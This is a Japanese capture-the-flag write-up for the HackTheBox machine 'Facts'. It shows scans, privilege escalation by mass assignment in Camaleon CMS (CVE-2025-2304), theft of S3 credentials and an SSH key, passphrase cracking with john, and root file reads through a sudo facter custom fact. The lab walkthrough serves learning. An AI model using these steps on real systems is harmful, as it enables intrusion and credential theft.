1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Facts

1
Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Factsです。

Factsでは、 Camaleon CMSの脆弱性やFacterについて学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-10 21:55 JST
Nmap scan report for facts.htb (10.129.23.224)
Host is up (0.24s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1892E3E5052D44D6
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 10 Feb 2026 12:56:16 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>1892E3E5052D44D6</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1892E3E0C85D5508
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 10 Feb 2026 12:55:58 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>1892E3E0C85D5508</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Tue, 10 Feb 2026 12:55:58 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.95%I=7%D=2/10%Time=698B2ADE%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x201892E3E0C85D5508\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Tue,\x2010\x20Fe
SF:b\x202026\x2012:55:58\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>1892E3E0C85D5508</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Tue,\x2010\x20
SF:Feb\x202026\x2012:55:58\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x201892E3E5052D44D6\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Tue,\x2010\x20Feb\x202026\x2012:56:16\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>1892
SF:E3E5052D44D6</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.79 seconds
Scan completed


上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後facts.htbにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2026-02-11 22.11.39.png

FACTSは、トリビアに関するサイトのようです。

コンテンツ探索

gobusterを用いてコンテンツ探索を行なうと、adminのページが検出されました。

$ gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.bashrc              (Status: 200) [Size: 11119]
/.cvs                 (Status: 200) [Size: 11110]
/.config              (Status: 200) [Size: 11119]
/.cache               (Status: 200) [Size: 11116]
/.hta                 (Status: 200) [Size: 11110]
/.forward             (Status: 200) [Size: 11122]
/.bash_history        (Status: 200) [Size: 11137]
/.cvsignore           (Status: 200) [Size: 11128]
/.history             (Status: 200) [Size: 11122]
/.htaccess            (Status: 200) [Size: 11125]
/.htpasswd            (Status: 200) [Size: 11125]
/.listing             (Status: 200) [Size: 11122]
/.listings            (Status: 200) [Size: 11125]
/.passwd              (Status: 200) [Size: 11119]
/.mysql_history       (Status: 200) [Size: 11140]
/.profile             (Status: 200) [Size: 11122]
/.perf                (Status: 200) [Size: 11113]
/.rhosts              (Status: 200) [Size: 11119]
/.sh_history          (Status: 200) [Size: 11131]
/.ssh                 (Status: 200) [Size: 11110]
/.subversion          (Status: 200) [Size: 11131]
/.svn                 (Status: 200) [Size: 11110]
/.swf                 (Status: 200) [Size: 11110]
/.web                 (Status: 200) [Size: 11110]
/400                  (Status: 200) [Size: 6685]
/404                  (Status: 200) [Size: 4836]
/500                  (Status: 200) [Size: 7918]
/admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.cgi            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.pl             (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/ajax                 (Status: 200) [Size: 0]
/cache                (Status: 200) [Size: 11116]
/captcha              (Status: 200) [Size: 3602]
/config               (Status: 200) [Size: 11119]
/cvs                  (Status: 200) [Size: 11110]
/CVS                  (Status: 200) [Size: 11110]
/en                   (Status: 200) [Size: 11109]
/error                (Status: 500) [Size: 7918]
/forward              (Status: 200) [Size: 11122]
/history              (Status: 200) [Size: 11122]
/hta                  (Status: 200) [Size: 11110]
/htpasswd             (Status: 200) [Size: 11125]
/index                (Status: 200) [Size: 11113]
/index.htm            (Status: 200) [Size: 11125]
/Index                (Status: 200) [Size: 11113]
/index.html           (Status: 200) [Size: 11128]
/index.php            (Status: 200) [Size: 11125]
/listing              (Status: 200) [Size: 11122]
/listings             (Status: 200) [Size: 11125]
/page                 (Status: 200) [Size: 19593]
/passwd               (Status: 200) [Size: 11119]
/perf                 (Status: 200) [Size: 11113]
/post                 (Status: 200) [Size: 11308]
/profile              (Status: 200) [Size: 11122]
/robots.txt           (Status: 200) [Size: 99]
/robots               (Status: 200) [Size: 33]
/rss                  (Status: 200) [Size: 183]
/search               (Status: 200) [Size: 19187]
/sitemap              (Status: 200) [Size: 3508]
/sitemap.xml          (Status: 200) [Size: 3508]
/sitemap.gz           (Status: 500) [Size: 7918]
/ssh                  (Status: 200) [Size: 11110]
/svn                  (Status: 200) [Size: 11110]
/swf                  (Status: 200) [Size: 11110]
/up                   (Status: 200) [Size: 73]
/web                  (Status: 200) [Size: 11110]
/welcome              (Status: 200) [Size: 11966]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

検出されたadminのページにアクセスすると、ログイン画面にリダイレクトされます。

スクリーンショット 2026-02-11 22.11.55.png

アカウントを作成してログイン後、ページのフッタ部より、Camaleon CMSの2.9.0バージョンを使用していることが分かります。

スクリーンショット 2026-02-11 22.14.17.png

脆弱性分析

Camaleon CMSは、Ruby on Railsをベースにした、コンテンツ管理システムです。

Camaleon CMSの2.9.0バージョンに関する脆弱性を調査したところ、CVE-2025-2304の脆弱性が見つかりました。

CVE-2025-2304の脆弱性は、Mass Assignmentと呼ばれるコードの問題に起因しています。

ユーザー情報の更新で使用されているupdated_ajaxは、Ruby on Railsのpermit!メソッドが使用されているため、入力パラメータのフィルタリングが行われていません。

そのため、攻撃者が意図しない属性をフォームに含めることで、本来変更を許可されていない内部属性を書き換えることができます。

システムハッキング

CVE-2025-2304の脆弱性を利用して、足場を作ります。

アクセスの獲得

「Profiel」画面にアクセスして、「Change Password」を押します。

スクリーンショット 2026-02-11 22.16.35.png

適当にパスワードを入力後、「Process」を押します。

スクリーンショット 2026-02-11 22.16.57.png

Burp Suiteを用いてインターセプトを行い、password[role]=adminのパラメータを追加します。

スクリーンショット 2026-02-11 22.17.22.png

パスワードの変更が成功したことを確認して、「Close」を押します。

スクリーンショット 2026-02-11 22.17.33.png

リロードすると、画面左のナビゲーションに管理者の項目が表示されていることが確認できます。

スクリーンショット 2026-02-11 22.17.42.png

「Settings」画面を開き、[General Site]-[Filesystem Settings]を参照すると、ファイルシステムはAWSのS3を使用していることが確認できます。

スクリーンショット 2026-02-11 22.17.59.png

取得したAWSの認証情報を利用するため、AWS CLIを使用してプロファイルを作成します。

$ aws configure --profile facts

AWS Access Key ID [None]: REDACTED
AWS Secret Access Key [None]: REDACTED
Default region name [None]: 
Default output format [None]: 

aws s3コマンドを使用して、バケットの一覧を表示すると、2つのバケットが表示されました。

$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts

2025-09-11 21:06:52 internal
2025-09-11 21:06:52 randomfacts

internalバケットを調査すると、.sshのフォルダが見つかりました。

$ aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts

                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-09 03:45:13        220 .bash_logout
2026-01-09 03:45:13       3900 .bashrc
2026-01-09 03:47:17         20 .lesshst
2026-01-09 03:47:17        807 .profile

以下のコマンドを実行して、.sshフォルダをコピーします。

$ aws s3 cp s3://internal/.ssh ./internal_ssh --recursive --endpoint-url http://facts.htb:54321 --profile facts

download: s3://internal/.ssh/authorized_keys to internal_ssh/authorized_keys
download: s3://internal/.ssh/id_ed25519 to internal_ssh/id_ed25519

コピーした.sshフォルダより、SSHの秘密鍵であるid_ed25519を発見しました。

合計 8
-rw-r--r-- 1 kali kali  82  2月 10 21:42 authorized_keys
-rw-r--r-- 1 kali kali 464  2月 10 21:42 id_ed25519

ssh2johnコマンドを実行して、SSHの秘密鍵をjohn形式に変換します。

$ ssh2john internal_ssh/id_ed25519 > hash.txt

internal_ssh/id_ed25519:$sshng$6$16$17dd8fbd4b88850409ac0bbc9b86dfb3$290$6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001017dd8fbd4b88850409ac0bbc9b86dfb30000001800000001000000330000000b7373682d6564323535313900000020c20ec88173214a6fec096b4f3e4d0a25e55d50b8552ff1dd6956cb76decfcf4e000000a0b8e9e6fd0a3293da830bb319458cea7eba024fcc2679da8e48514f8fec9cd7eeff32d32ab8f07409689ec848171ce02e001868bc330dbe4d18ef044c94d7bcfb95456cb3103e5c3f54186f8896f4a644d4aef69713f5de50399b6752059befadbca577c4ee7fd2ec4bff56619e8db8f6dfed3b9ecd8656dde8a8a5279c3adc1916eb19c7a7a630f772aa2b0b48ed4c793973edb3415fae7f75bc34f09692f576$24$130

johnコマンドを使用して、クラックします。

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED         (internal_ssh/id_ed25519)     
1g 0:00:00:40 DONE (2026-02-10 22:30) 0.02464g/s 80.45p/s 80.45c/s 80.45C/s grecia..jeter2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ユーザー名は、秘密鍵のコメントから確認できました。

$ ssh-keygen -y -f internal_ssh/id_ed25519

Enter passphrase for "internal_ssh/id_ed25519": 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMIOyIFzIUpv7AlrTz5NCiXlXVC4VS/x3WlWy3bez89O trivia@facts.htb

取得した認証情報を利用して、SSHでログインします。

$ ssh -i internal_ssh/id_ed25519 trivia@facts.htb

ユーザーフラグ

triviaユーザーでログイン後、triviaユーザーのホームディレクトリにフラグはありませんでした。

total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 ./
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ../
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle/
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache/
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local/
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 Feb 10 12:41 .ssh/

/home/ディレクトリを確認すると、他のwilliamユーザーが確認できます。

total 16
drwxr-xr-x  4 root    root    4096 Jan  8 17:53 ./
drwxr-xr-x 20 root    root    4096 Jan 28 15:15 ../
drwxr-x---  6 trivia  trivia  4096 Jan 28 16:17 trivia/
drwxr-xr-x  2 william william 4096 Jan 26 11:40 william/

/home/william/ディレクトリ配下より、ユーザーフラグが確認できます。

total 24
drwxr-xr-x 2 william william 4096 Jan 26 11:40 ./
drwxr-xr-x 4 root    root    4096 Jan  8 17:53 ../
lrwxrwxrwx 1 root    root       9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 william william  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 william william 3771 Aug 20  2024 .bashrc
-rw-r--r-- 1 william william  807 Aug 20  2024 .profile
-rw-r--r-- 1 root    william   33 Feb 10 12:42 user.txt

ルートフラグ

sudo -lコマンドを実行すると、NOPASSWDでfacterコマンドが実行できることを確認できます。

Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facterは、ハードウェア、ネットワーク設定、OS情報などシステムに関する基本的な情報を収集するコマンドラインツールです。

本来はPuppetの付属ツールとして利用するものですが、単体でも利用することができます。

--custom-dirオプションを利用することで、カスタムファクトとして任意のディレクトリを指定することができますです。

以下のようなカスタムファクトを用意して、ルートフラグを読み取ることができます。

cat <<EOF > /tmp/custom_facts/read_root.rb
Facter.add(:root_text) do
  setcode do
    begin
      File.read('/root/root.txt').strip
    rescue
      nil
    end
  end
end
EOF

$ sudo /usr/bin/facter --custom-dir /tmp/custom_facts root_text

REDACTED

おわりに

改めて振り返ると、ポートスキャンの結果を踏まえて、54321ポートのヘッダ情報からAWSを使用していることが分かります。

このMachineは、脆弱性の連鎖がどのようにしてシステム全体の侵害につながるかについて学ぶことができます。

参考

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?